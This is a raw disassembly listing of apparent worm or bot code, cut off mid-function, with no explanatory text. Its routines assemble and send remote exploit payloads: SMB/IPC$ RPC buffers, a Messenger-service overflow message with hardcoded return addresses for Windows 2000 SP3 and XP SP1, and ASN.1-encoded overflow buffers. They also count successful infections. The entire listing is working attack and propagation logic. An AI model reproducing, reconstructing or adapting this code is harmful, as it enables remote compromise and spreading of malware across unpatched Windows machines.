E ======================================= ; Attributes: bp-based frame sub_40DDD9 proc near ; CODE XREF: seg000:0040E332p ; seg000:0040E354p ... var_89B8 = byte ptr -89B8h var_8950 = byte ptr -8950h var_68E0 = byte ptr -68E0h var_6870 = byte ptr -6870h var_5DAC = byte ptr -5DACh var_4808 = byte ptr -4808h var_4807 = byte ptr -4807h var_3774 = byte ptr -3774h var_2CB0 = byte ptr -2CB0h var_2CAF = byte ptr -2CAFh var_2CAC = byte ptr -2CACh var_24C8 = byte ptr -24C8h var_24B8 = byte ptr -24B8h var_2194 = byte ptr -2194h var_2190 = byte ptr -2190h var_2184 = byte ptr -2184h var_1EFC = byte ptr -1EFCh var_1E80 = byte ptr -1E80h var_16B0 = byte ptr -16B0h var_1205 = byte ptr -1205h var_F18 = byte ptr -0F18h var_E78 = byte ptr -0E78h var_76C = dword ptr -76Ch var_75C = byte ptr -75Ch var_748 = byte ptr -748h var_108 = byte ptr -108h var_107 = byte ptr -107h var_B8 = byte ptr -0B8h var_B5 = byte ptr -0B5h var_8B = byte ptr -8Bh var_89 = byte ptr -89h var_88 = byte ptr -88h var_40 = byte ptr -40h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B8h call sub_41EA20 mov eax, ds:dword_432F94 push ebx mov [ebp+var_10], eax mov eax, ds:dword_432F98 push esi mov [ebp+var_C], eax push edi lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_40] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_41E6A6 add esp, 0Ch xor ebx, ebx xor eax, eax loc_40DE12: ; CODE XREF: sub_40DDD9+4Fj mov cl, [ebp+eax+var_40] mov [ebp+eax*2+var_108], cl mov [ebp+eax*2+var_107], bl inc eax cmp eax, 28h jl short loc_40DE12 push 60h lea eax, [ebp+var_B8] push offset dword_43EFF8 push eax call sub_41F400 lea eax, [ebp+var_40] push eax call sub_41E1C0 shl eax, 1 push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_88] push eax call sub_41F400 add esp, 1Ch push 9 lea eax, [ebp+var_40] push (offset aC_4+3) push eax call sub_41E1C0 pop ecx lea eax, [ebp+eax*2+var_89] push eax call sub_41F400 lea eax, [ebp+var_40] push eax call sub_41E1C0 add al, 1Ah shl al, 1 mov [ebp+var_1], al push 1 lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B5] push eax call sub_41F400 lea eax, [ebp+var_40] push eax call sub_41E1C0 shl al, 1 add al, 9 mov [ebp+var_2], al push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_8B] push eax call sub_41F400 xor eax, eax mov ax, word ptr ds:dword_4D525C add esp, 2Ch push eax call ds:dword_444260 ; htons push [ebp+arg_0] xor eax, 9999h mov [ebp+var_18], eax call sub_4023C9 pop ecx push eax call ds:dword_44417C ; inet_addr xor eax, 99999999h mov [ebp+var_8], eax push 2 lea eax, [ebp+var_18] push eax push offset word_43EB76 call sub_41F400 push 4 lea eax, [ebp+var_8] push eax push offset byte_43EB6F call sub_41F400 add esp, 18h cmp [ebp+arg_C0], ebx jz loc_40E001 mov edi, 0DACh push edi lea eax, [ebp+var_2CAC] push 90h push eax call sub_41E5F0 mov eax, [ebp+arg_C0] imul eax, 3Ch lea eax, dword_43F440[eax] push 4 push eax mov [ebp+var_14], eax lea eax, [ebp+var_24C8] push eax call sub_41F400 mov esi, offset dword_43EB00 push esi call sub_41E1C0 push eax lea eax, [ebp+var_24B8] push esi push eax call sub_41F400 push 4 lea eax, [ebp+var_2194] push offset dword_432F80 push eax call sub_41F400 push 4 push [ebp+var_14] lea eax, [ebp+var_2190] push eax call sub_41F400 add esp, 40h push esi call sub_41E1C0 push eax lea eax, [ebp+var_2184] push esi push eax call sub_41F400 add esp, 10h xor eax, eax loc_40DFB3: ; CODE XREF: sub_40DDD9+1F2j mov cl, [ebp+eax+var_2CAC] mov [ebp+eax*2+var_4808], cl mov [ebp+eax*2+var_4807], bl inc eax cmp eax, edi jl short loc_40DFB3 mov esi, 1C52h push esi lea eax, [ebp+var_89B8] push 31h push eax mov [ebp+var_2CB0], bl mov [ebp+var_2CAF], bl call sub_41E5F0 push esi lea eax, [ebp+var_68E0] push 31h push eax call sub_41E5F0 add esp, 18h jmp short loc_40E058 ; --------------------------------------------------------------------------- loc_40E001: ; CODE XREF: sub_40DDD9+143j push 7D0h lea eax, [ebp+var_F18] push 90h push eax call sub_41E5F0 mov esi, offset dword_43EB00 push esi call sub_41E1C0 push eax lea eax, [ebp+var_E78] push esi push eax call sub_41F400 lea eax, [ebp+var_10] push eax call sub_41E1C0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_75C] push eax call sub_41F400 mov eax, ds:dword_43F440 add esp, 2Ch mov [ebp+var_76C], eax loc_40E058: ; CODE XREF: sub_40DDD9+226j push 0E29h lea eax, [ebp+var_1EFC] push 31h push eax call sub_41E5F0 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch push ebx add eax, 4 push eax lea eax, [ebp+var_B8] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40E215 push ebx mov esi, 640h push esi lea eax, [ebp+var_748] push eax push edi call ds:dword_444064 ; recv push ebx push 68h push offset dword_43F060 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40E215 push ebx push esi lea eax, [ebp+var_748] push eax push edi call ds:dword_444064 ; recv push ebx push 0A0h push offset dword_43F0D0 push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40E215 push ebx push esi lea eax, [ebp+var_748] push eax push edi call ds:dword_444064 ; recv cmp [ebp+arg_C0], ebx jz loc_40E1B2 push 68h lea eax, [ebp+var_89B8] push offset dword_43F290 push eax call sub_41F400 push 1B5Ah lea eax, [ebp+var_4808] push eax lea eax, [ebp+var_8950] push eax call sub_41F400 push 70h lea eax, [ebp+var_68E0] push offset dword_43F300 push eax call sub_41F400 push 0A5Eh lea eax, [ebp+var_3774] push eax lea eax, [ebp+var_6870] push eax call sub_41F400 push 84h lea eax, [ebp+var_5DAC] push offset dword_43F378 push eax call sub_41F400 add esp, 3Ch push ebx push 10FCh lea eax, [ebp+var_89B8] push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz loc_40E215 push ebx push esi lea eax, [ebp+var_748] push eax push edi call ds:dword_444064 ; recv push ebx push 0FDCh lea eax, [ebp+var_68E0] jmp short loc_40E208 ; --------------------------------------------------------------------------- loc_40E1B2: ; CODE XREF: sub_40DDD9+329j push 7Ch lea eax, [ebp+var_1EFC] push offset dword_43F178 push eax call sub_41F400 push 7D0h lea eax, [ebp+var_F18] push eax lea eax, [ebp+var_1E80] push eax call sub_41F400 push 90h lea eax, [ebp+var_16B0] push offset off_43F1F8 push eax call sub_41F400 add esp, 24h push ebx mov [ebp+var_1205], bl push 0CF8h lea eax, [ebp+var_1EFC] loc_40E208: ; CODE XREF: sub_40DDD9+3D7j push eax push edi call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E219 loc_40E215: ; CODE XREF: sub_40DDD9+2B5j ; sub_40DDD9+2E2j ... xor al, al jmp short loc_40E21B ; --------------------------------------------------------------------------- loc_40E219: ; CODE XREF: sub_40DDD9+43Aj mov al, 1 loc_40E21B: ; CODE XREF: sub_40DDD9+43Ej pop edi pop esi pop ebx leave retn sub_40DDD9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 654h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_41E5F0 add esp, 0Ch lea eax, [ebp+0Ch] push eax mov word ptr [ebp-14h], 2 call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call ds:dword_444260 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call ds:dword_444100 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40E319 push 10h lea eax, [ebp-14h] push eax push ebx call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz loc_40E319 push edi push 89h push offset dword_43EDD8 push ebx call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40E319 push edi mov esi, 640h push esi lea eax, [ebp-654h] push eax push ebx call ds:dword_444064 ; recv push edi push 0A8h push offset dword_43EE68 push ebx call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40E319 push edi push esi lea eax, [ebp-654h] push eax push ebx call ds:dword_444064 ; recv push edi push 0DEh push offset dword_43EF18 push ebx call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_40E319 push edi push esi lea eax, [ebp-654h] push eax push ebx call ds:dword_444064 ; recv movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40E341 dec eax jz short loc_40E320 loc_40E319: ; CODE XREF: seg000:0040E274j ; seg000:0040E28Aj ... xor eax, eax jmp loc_40E3AD ; --------------------------------------------------------------------------- loc_40E320: ; CODE XREF: seg000:0040E317j push edi push ebx sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40DDD9 add esp, 0C4h push 0 jmp short loc_40E365 ; --------------------------------------------------------------------------- loc_40E341: ; CODE XREF: seg000:0040E314j push 2 push ebx sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40DDD9 add esp, 0C4h test al, al jnz short loc_40E385 push 1 loc_40E365: ; CODE XREF: seg000:0040E33Fj push ebx sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_40DDD9 add esp, 0C4h test al, al jz short loc_40E38C loc_40E385: ; CODE XREF: seg000:0040E361j mov dword ptr [ebp-4], 1 loc_40E38C: ; CODE XREF: seg000:0040E383j push ebx call ds:dword_444218 ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_40E3AA mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] loc_40E3AA: ; CODE XREF: seg000:0040E397j xor eax, eax inc eax loc_40E3AD: ; CODE XREF: seg000:0040E31Bj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3B2 proc near ; CODE XREF: seg000:0040E670p var_13DC = byte ptr -13DCh var_13CC = byte ptr -13CCh var_11E8 = byte ptr -11E8h var_AE4 = byte ptr -0AE4h var_68E = byte ptr -68Eh var_683 = dword ptr -683h var_67F = dword ptr -67Fh var_67B = byte ptr -67Bh var_551 = byte ptr -551h var_54 = byte ptr -54h var_34 = byte ptr -34h var_24 = byte ptr -24h var_18 = byte ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 13DCh call sub_41EA20 push ebx push esi push edi mov esi, offset dword_433008 lea edi, [ebp+var_10] movsd movsd movsd movsb mov esi, offset aNetmaniac ; "NETMANIAC" lea edi, [ebp+var_24] movsd movsd movsw mov esi, offset aAdik ; "ADIK" lea edi, [ebp+var_18] movsd movsb push 7 pop ecx mov esi, offset dword_432FD4 lea edi, [ebp+var_54] rep movsd movsw movsb mov esi, offset dword_432FC4 lea edi, [ebp+var_34] movsd movsd push [ebp+arg_4] movsd movsb mov esi, offset aMessage ; "*** MESSAGE ***" lea edi, [ebp+var_13DC] movsd movsd movsd movsd mov esi, [ebp+arg_0] xor eax, eax push eax mov ecx, 4DEh lea edi, [ebp+var_13CC] push esi rep stosd call sub_41E5F0 push 50h push offset dword_43F6E0 push esi call sub_41F400 lea eax, [ebp+var_24] push eax call sub_41E1C0 mov edi, eax push 0Ch lea eax, [ebp+var_10] push eax lea eax, [esi+50h] inc edi push eax mov [ebp+var_10], edi mov [ebp+var_8], edi call sub_41F400 lea eax, [ebp+var_24] push eax lea eax, [esi+5Ch] push eax call sub_41EEC0 dec edi lea eax, [ebp+var_18] and edi, 0FFFFFFFCh push eax add edi, 60h call sub_41E1C0 mov ebx, eax inc ebx mov [ebp+var_10], ebx mov [ebp+var_8], ebx push 0Ch lea eax, [ebp+var_10] push eax lea eax, [edi+esi] push eax call sub_41F400 add esp, 40h lea eax, [ebp+var_18] push eax add edi, 0Ch lea eax, [edi+esi] push eax call sub_41EEC0 push 8F8h dec ebx lea eax, [ebp+var_13DC] push 90h and ebx, 0FFFFFFFCh push eax lea edi, [edi+ebx+4] call sub_41E5F0 push 1E4h lea eax, [ebp+var_11E8] push offset dword_43F4F8 push eax call sub_41F400 push 708h lea eax, [ebp+var_AE4] push 14h push eax call sub_41E5F0 push 0Dh lea eax, [ebp+var_34] push eax lea eax, [ebp+var_68E] push eax call sub_41F400 mov eax, [ebp+arg_8] mov [ebp+var_683], eax mov eax, [ebp+arg_C] mov [ebp+var_67F], eax push 1Eh lea eax, [ebp+var_54] push eax lea eax, [ebp+var_67B] push eax call sub_41F400 add esp, 44h mov eax, 0E8Ch sub eax, edi push eax push offset aMsgBodySizeD ; "[*] Msg body size: %d\n" push offset dword_443520 call sub_41ECA2 lea eax, [ebp+var_551] sub eax, edi mov byte ptr [eax], 0 lea eax, [ebp+var_13DC] push eax call sub_41E1C0 mov ebx, eax push 0Ch lea eax, [ebp+var_10] push eax lea eax, [edi+esi] inc ebx push eax mov [ebp+var_10], ebx mov [ebp+var_8], ebx call sub_41F400 lea eax, [ebp+var_13DC] push eax add edi, 0Ch lea eax, [edi+esi] push eax call sub_41EEC0 push 0 add edi, ebx call sub_41F87E mov [esi+28h], eax add esp, 28h lea eax, [edi-50h] mov [esi+4Ah], eax mov eax, edi pop edi pop esi pop ebx leave retn sub_40E3B2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 2064h call sub_41EA20 push ebx push esi push edi push 5 pop ecx mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)" lea edi, [ebp-64h] rep movsd movsw movsb xor eax, eax lea edi, [ebp-4Dh] stosd stosw stosb push 5 mov dword ptr [ebp-44h], 77EE044Ch mov dword ptr [ebp-40h], 768D693Eh pop ecx mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)" lea edi, [ebp-3Ch] rep movsd movsb xor eax, eax lea edi, [ebp-27h] stosd stosd stosb lea eax, [ebp+0Ch] push 1 push eax mov dword ptr [ebp-1Ch], 77ED73B4h mov dword ptr [ebp-18h], 7804BF52h call sub_41AA0A cmp eax, 1 pop ecx pop ecx jz loc_40E6F3 test eax, eax jz loc_40E6F3 push 2 pop edi cmp eax, edi jnz short loc_40E61A xor esi, esi jmp short loc_40E61D ; --------------------------------------------------------------------------- loc_40E61A: ; CODE XREF: seg000:0040E614j mov esi, [ebp-14h] loc_40E61D: ; CODE XREF: seg000:0040E618j cmp eax, 3 jnz short loc_40E625 xor esi, esi inc esi loc_40E625: ; CODE XREF: seg000:0040E620j push 10h lea eax, [ebp-10h] push 0 push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+0Ch] push eax mov [ebp-10h], di call ds:dword_44417C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call ds:dword_444260 ; htons mov [ebp-0Eh], ax lea eax, [esi+esi*4] shl eax, 3 push dword ptr [ebp+eax-44h] push dword ptr [ebp+eax-40h] lea eax, [ebp-2064h] push 2000h push eax call sub_40E3B2 add esp, 10h push 11h push edi push edi mov ebx, eax call ds:dword_444100 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E6F3 push 10h lea eax, [ebp-10h] push eax push 0 push ebx lea eax, [ebp-2064h] push eax push esi call ds:dword_4440CC ; sendto cmp eax, 0FFFFFFFFh jz short loc_40E6F3 push esi call ds:dword_444218 ; closesocket push 1F4h call ds:dword_42B014 ; Sleep push 23E7h sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+8] mov edi, esp rep movsd call sub_41B128 add esp, 0C0h cmp al, 1 jnz short loc_40E6F3 mov eax, [ebp+0B0h] shl eax, 6 lea eax, dword_43D888[eax] inc dword ptr [eax] xor eax, eax inc eax jmp short loc_40E6F5 ; --------------------------------------------------------------------------- loc_40E6F3: ; CODE XREF: seg000:0040E601j ; seg000:0040E609j ... xor eax, eax loc_40E6F5: ; CODE XREF: seg000:0040E6F1j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40E6FA proc near ; CODE XREF: sub_40F1FF+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movsx eax, [esp+arg_8] push [esp+arg_4] push eax push [esp+8+arg_0] call sub_41E5F0 add esp, 0Ch retn sub_40E6FA endp ; =============== S U B R O U T I N E ======================================= sub_40E711 proc near ; CODE XREF: sub_40E971+116p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_41E5D3 mov edi, eax test edi, edi pop ecx jz short loc_40E743 push ebx push 0 push edi call sub_41E5F0 push ebx push [esp+1Ch+arg_0] push edi call sub_41F400 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40E743: ; CODE XREF: sub_40E711+14j pop edi mov eax, esi pop esi pop ebx retn 8 sub_40E711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E74B proc near ; CODE XREF: sub_40E841+19p ; sub_40E8B5+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx push esi mov ebx, ecx mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41E5D3 mov esi, eax test esi, esi pop ecx jz short loc_40E797 push edi push 0 push esi call sub_41E5F0 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41F400 push [ebp+arg_C] mov eax, [ebp+arg_4] push [ebp+arg_8] add eax, esi push eax call sub_41F400 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40E797: ; CODE XREF: sub_40E74B+1Cj pop edi pop esi mov eax, ebx pop ebx pop ebp retn 10h sub_40E74B endp ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_40E841+5Bp ; sub_40E841+68p ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40E7B0 push eax call sub_41E2A1 pop ecx loc_40E7B0: ; CODE XREF: sub_40E7A0+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40E7A0 endp ; =============== S U B R O U T I N E ======================================= sub_40E7B9 proc near ; CODE XREF: sub_40E841+21p ; sub_40E916+8p ... push esi mov esi, ecx mov eax, [esi+4] cmp eax, 0FFFFh jl short loc_40E7CA xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_40E7CA: ; CODE XREF: sub_40E7B9+Bj push ebx xor ebx, ebx cmp eax, 7Fh setnl bl push edi lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_41E5D3 mov edi, eax test edi, edi pop ecx jnz short loc_40E7EB xor al, al jmp short loc_40E83D ; --------------------------------------------------------------------------- loc_40E7EB: ; CODE XREF: sub_40E7B9+2Cj mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_41E5F0 add esp, 0Ch cmp ebx, 1 jnz short loc_40E80B mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_40E820 ; --------------------------------------------------------------------------- loc_40E80B: ; CODE XREF: sub_40E7B9+46j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_40E820: ; CODE XREF: sub_40E7B9+50j push dword ptr [esi+4] push dword ptr [esi] push eax call sub_41F400 add esp, 0Ch push dword ptr [esi] call sub_41E2A1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40E83D: ; CODE XREF: sub_40E7B9+30j pop edi pop ebx pop esi retn sub_40E7B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E841 proc near ; CODE XREF: sub_40E971+7Fp ; sub_40E971+DBp ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, ecx push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C814 call sub_40E74B lea ecx, [ebp+var_8] call sub_40E7B9 mov ebx, [ebp+var_4] inc ebx push ebx call sub_41E5D3 mov edi, eax test edi, edi pop ecx jnz short loc_40E87C xor al, al jmp short loc_40E8B0 ; --------------------------------------------------------------------------- loc_40E87C: ; CODE XREF: sub_40E841+35j push ebx push 0 push edi call sub_41E5F0 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] mov byte ptr [edi], 3 push eax call sub_41F400 add esp, 18h mov ecx, esi call sub_40E7A0 lea ecx, [ebp+var_8] mov [esi+4], ebx mov [esi], edi call sub_40E7A0 mov al, 1 loc_40E8B0: ; CODE XREF: sub_40E841+39j pop edi pop esi pop ebx leave retn sub_40E841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8B5 proc near ; CODE XREF: sub_40E8E9+14p ; sub_40E906+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi push [ebp+arg_4] mov esi, ecx push [ebp+arg_0] lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] call sub_40E74B mov ecx, esi call sub_40E7A0 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40E8B5 endp ; =============== S U B R O U T I N E ======================================= sub_40E8E9 proc near ; CODE XREF: sub_40E971+E8p ; sub_40E971+153p ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_41E1C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40E8B5 pop esi retn 4 sub_40E8E9 endp ; =============== S U B R O U T I N E ======================================= sub_40E906 proc near ; CODE XREF: sub_40E952+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40E8B5 retn 8 sub_40E906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E916 proc near ; CODE XREF: sub_40E952+16p ; sub_40E971+87p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40E7B9 test al, al jz short loc_40E94F push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42FB74 call sub_40E74B mov ecx, esi call sub_40E7A0 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40E94F: ; CODE XREF: sub_40E916+Fj pop esi leave retn sub_40E916 endp ; =============== S U B R O U T I N E ======================================= sub_40E952 proc near ; CODE XREF: sub_40E971+12Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] mov esi, ecx push [esp+8+arg_0] call sub_40E906 test al, al jz short loc_40E96D mov ecx, esi call sub_40E916 loc_40E96D: ; CODE XREF: sub_40E952+12j pop esi retn 8 sub_40E952 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E971 proc near ; CODE XREF: seg000:0040F759p var_848 = byte ptr -848h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 848h push ebx push esi xor ecx, ecx xor edx, edx mov ebx, 408h xor esi, esi cmp [ebp+arg_8], ebx mov [ebp+var_3C], ecx mov [ebp+var_40], edx jg loc_40ECC1 mov eax, [ebp+arg_10] add eax, 8 cmp eax, ebx ja loc_40ECC1 push edi push 4 push offset dword_43F74C lea ecx, [ebp+var_28] mov [ebp+var_24], esi mov [ebp+var_28], esi mov [ebp+var_4], esi mov [ebp+var_8], esi mov [ebp+var_34], esi mov [ebp+var_38], esi mov [ebp+var_C], esi mov [ebp+var_10], esi mov [ebp+var_2C], esi mov [ebp+var_30], esi mov [ebp+var_1C], esi mov [ebp+var_20], esi mov [ebp+var_14], esi mov [ebp+var_18], esi call sub_40E8B5 push 3 push offset dword_43F748 lea ecx, [ebp+var_28] call sub_40E8B5 lea ecx, [ebp+var_28] call sub_40E841 lea ecx, [ebp+var_28] call sub_40E916 mov edi, 800h push edi lea eax, [ebp+var_848] push 42h push eax call sub_41E5F0 add esp, 0Ch push 8 push offset aRbrbrbrb ; "BBBB" lea ecx, [ebp+var_8] call sub_40E8B5 push [ebp+arg_10] lea ecx, [ebp+var_8] push [ebp+arg_C] call sub_40E8B5 mov eax, 409h sub eax, [ebp+var_4] lea ecx, [ebp+var_8] push eax lea eax, [ebp+var_848] push eax call sub_40E8B5 lea ecx, [ebp+var_8] call sub_40E841 push offset dword_43306C lea ecx, [ebp+var_38] call sub_40E8E9 lea ecx, [ebp+var_38] call sub_40E841 push edi lea eax, [ebp+var_848] push 44h push eax call sub_41E5F0 add esp, 0Ch push 410h lea eax, [ebp+var_848] push eax lea ecx, [ebp+var_48] call sub_40E711 lea ecx, [ebp+var_48] call sub_40E841 push [ebp+var_44] lea ecx, [ebp+var_38] push [ebp+var_48] call sub_40E952 lea ecx, [ebp+var_48] call sub_40E7A0 push edi lea eax, [ebp+var_848] push 43h push eax call sub_41E5F0 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_10] call sub_40E8E9 push 4 push offset dword_43F734 lea ecx, [ebp+var_10] call sub_40E8B5 push [ebp+arg_8] lea ecx, [ebp+var_10] push [ebp+arg_4] call sub_40E8B5 sub ebx, [ebp+arg_8] lea eax, [ebp+var_848] push ebx push eax lea ecx, [ebp+var_10] call sub_40E8B5 lea ecx, [ebp+var_10] call sub_40E841 push [ebp+var_C] mov eax, [ebp+var_10] push eax lea ecx, [ebp+var_30] call sub_40E8B5 push [ebp+var_34] mov eax, [ebp+var_38] push eax lea ecx, [ebp+var_30] call sub_40E8B5 lea ecx, [ebp+var_30] call sub_40E916 lea ecx, [ebp+var_10] call sub_40E7A0 lea ecx, [ebp+var_38] call sub_40E7A0 push [ebp+var_4] mov eax, [ebp+var_8] push eax lea ecx, [ebp+var_20] call sub_40E8B5 push [ebp+var_24] mov eax, [ebp+var_28] push eax lea ecx, [ebp+var_20] call sub_40E8B5 push [ebp+var_2C] mov eax, [ebp+var_30] push eax lea ecx, [ebp+var_20] call sub_40E8B5 lea ecx, [ebp+var_20] call sub_40E916 lea ecx, [ebp+var_8] call sub_40E7A0 lea ecx, [ebp+var_28] call sub_40E7A0 lea ecx, [ebp+var_30] call sub_40E7A0 push edi lea eax, [ebp+var_848] push 41h push eax call sub_41E5F0 add esp, 0Ch push 400h lea eax, [ebp+var_848] push eax lea ecx, [ebp+var_18] call sub_40E8B5 lea ecx, [ebp+var_18] call sub_40E841 push 2 push offset dword_433060 lea ecx, [ebp+var_18] call sub_40E8B5 push [ebp+var_1C] mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_18] call sub_40E8B5 lea ecx, [ebp+var_18] call sub_40E916 lea ecx, [ebp+var_20] call sub_40E7A0 push [ebp+var_14] mov eax, [ebp+var_18] push eax lea ecx, [ebp+var_10] mov [ebp+var_C], esi mov [ebp+var_10], esi mov [ebp+var_4], esi mov [ebp+var_8], esi call sub_40E8B5 lea ecx, [ebp+var_10] call sub_40E7B9 lea ecx, [ebp+var_18] call sub_40E7A0 push offset dword_43305C lea ecx, [ebp+var_8] call sub_40E8E9 push [ebp+var_C] mov eax, [ebp+var_10] push eax lea ecx, [ebp+var_8] call sub_40E8B5 lea ecx, [ebp+var_8] call sub_40E7B9 lea ecx, [ebp+var_10] call sub_40E7A0 push offset dword_433058 lea ecx, [ebp+var_10] call sub_40E8E9 push [ebp+var_4] mov eax, [ebp+var_8] push eax lea ecx, [ebp+var_10] call sub_40E8B5 lea ecx, [ebp+var_10] call sub_40E7B9 lea ecx, [ebp+var_8] call sub_40E7A0 push offset dword_43304C lea ecx, [ebp+var_8] call sub_40E8E9 push [ebp+var_C] mov eax, [ebp+var_10] push eax lea ecx, [ebp+var_8] call sub_40E8B5 lea ecx, [ebp+var_8] call sub_40E7B9 lea ecx, [ebp+var_10] call sub_40E7A0 push offset asc_433048 ; "`" lea ecx, [ebp+var_40] call sub_40E8E9 push [ebp+var_4] mov eax, [ebp+var_8] push eax lea ecx, [ebp+var_40] call sub_40E8B5 lea ecx, [ebp+var_8] call sub_40E7A0 mov ecx, [ebp+var_40] mov eax, [ebp+arg_0] mov [eax], ecx mov ecx, [ebp+var_3C] pop edi jmp short loc_40ECC6 ; --------------------------------------------------------------------------- loc_40ECC1: ; CODE XREF: sub_40E971+1Fj ; sub_40E971+2Dj mov eax, [ebp+arg_0] mov [eax], edx 